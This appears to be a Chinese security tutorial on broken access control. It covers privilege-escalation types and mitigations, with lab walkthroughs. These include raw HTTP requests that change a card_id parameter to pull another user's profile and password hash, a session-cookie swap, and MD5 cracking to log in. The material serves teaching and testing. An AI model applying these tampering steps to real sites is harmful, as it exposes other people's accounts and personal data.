发布时间:2023-07-17 17:00
越权访问(Broken Access Control,简称BAC)是Web应用程序中一种常见的漏洞,由于其存在范围广、危害大,被OWASP列为Web应用十大安全隐患的第二名。
该漏洞是指应用在检查授权时存在纰漏,使得攻击者在获得低权限用户账户后,利用一些方式绕过权限检查,访问或者操作其他用户或者更高权限。**越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定。**在实际的代码审计中,这种漏洞往往很难通过工具进行自动化监测,因此在实际应用中危害很大。其与未授权访问有一定差别,目前存在着两种越权操作类型,横向越权操作(水平越权)和纵向越权操作(垂直越权)
指相同权限下不同的用户可以互相访问
主要通过看看能否通过A用户操作影响到B用户
指使用权限低的用户可以访问到权限较高的用户
看看低权限用户是否能越权使用高权限用户的功能,比如普通用户可以使用管理员的功能。
判断用户等级后,代码界面部分进行可选显示
user 表(管理员和普通用户同表)
id,username,password,usertype
1,admin,123456,1
2,xiaodi,11111,2
如果在访问数据包中有传输用户的编号、用户组编号或类型编号的时候,那么尝试对这个值进行修改,就是测试越权漏洞的基本。
1.前后端同时对用户输入信息进行校验,双重验证机制
2.调用功能前验证用户是否有权限调用相关功能
3.执行关键操作前必须验证用户身份,验证用户是否具备操作数据的权限
4.直接对象引用的加密资源 ID,防止攻击者枚举 ID,敏感数据特殊化处理
5.永远不要相信来自用户的输入,对于可控参数进行严格的检查与过滤
更改username lucy——>kobe
1.普通用户前端有操作界面可以抓取数据包
2.通过网站源码本地搭建自己去模拟抓取
3.盲猜
管理员账户:admin
普通用户:pikachu
管理员账户界面
抓取admin添加账户的包,并且更改为普通用户pikachu的phpsession
放包后,在刷新普通用户界面,出现添加账户
查看代码
数据库表
马春生图片链接
http://124.70.64.48:47325/static/img/20128880316.jpg
登录test账户,抓包
GET /user_info.php HTTP/1.1
Host: 124.70.64.48:47325
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://124.70.64.48:47325/index.php?a=login
Connection: close
Cookie: PHPSESSID=2a14ujvvjk9puum9qvpelkaae2; uid=test; mid=6927071f788211ee17211be0b89ef1e6
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
GET /json.php?card_id=20128880322 HTTP/1.1
Host: 124.70.64.48:47325
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://124.70.64.48:47325/user_info.php
Cookie: PHPSESSID=2a14ujvvjk9puum9qvpelkaae2; uid=test; mid=6927071f788211ee17211be0b89ef1e6
Cache-Control: max-age=0
获取到
card_id=20128880316的数据
getProfile({\"card_id\":\"20128880316\",
\"user\":\"m233241\",
\"password\":\"71cc568f1ed55738788751222fb6d8d9\",
\"email\":\"hhh222@gmail.com\",\"tel\":\"13922137899\",
\"login_ip\":\"110.21.43.66\",
\"name_uid\":\"520181197603155771\"})
密码形式:观察应该是md5加密
md5查询:
71cc568f1ed55738788751222fb6d8d9
9732343
根据账号密码,尝试登录,获取到key(一个个遍历尝试也行,如果没发现图片的id)
https://github.com/ztosec/secscan-authcheck
http://pan.baidu.com/s/1pLjaQKF (privilegechecker)
https://www.mozhe.cn/bug/detail/eUM3SktudHdrUVh6eFloU0VERzB4Zz09bW96aGUmozhe
微信小程序(四)--- 自定义组件详解(properties,数据监听器,纯数据字段,插槽,父子间通信,behaviors)
【力扣刷题笔记(二)】特别技巧,模块突破,45道经典题目分类总结,在不断巩固中精进
pyinstaller 多文件打包 exe 详细流程,包过坑
K8S 进阶 -1(pod,deployment,service,namespace...)
计算机类论文摘要英文,求论文摘要的英文翻译,谢谢本文以计算机五子棋博弈系统作为课题,按照人工智能和计算机博弈的一般原理设计了一个五子棋博弈系统的基本模型,实现了基于博弈树分析的人机博弈.并且对五...
YOLOv5改进之十七:CNN+Transformer——融合Bottleneck Transformers
Simulink的Variant Model和Variant Subsystem用法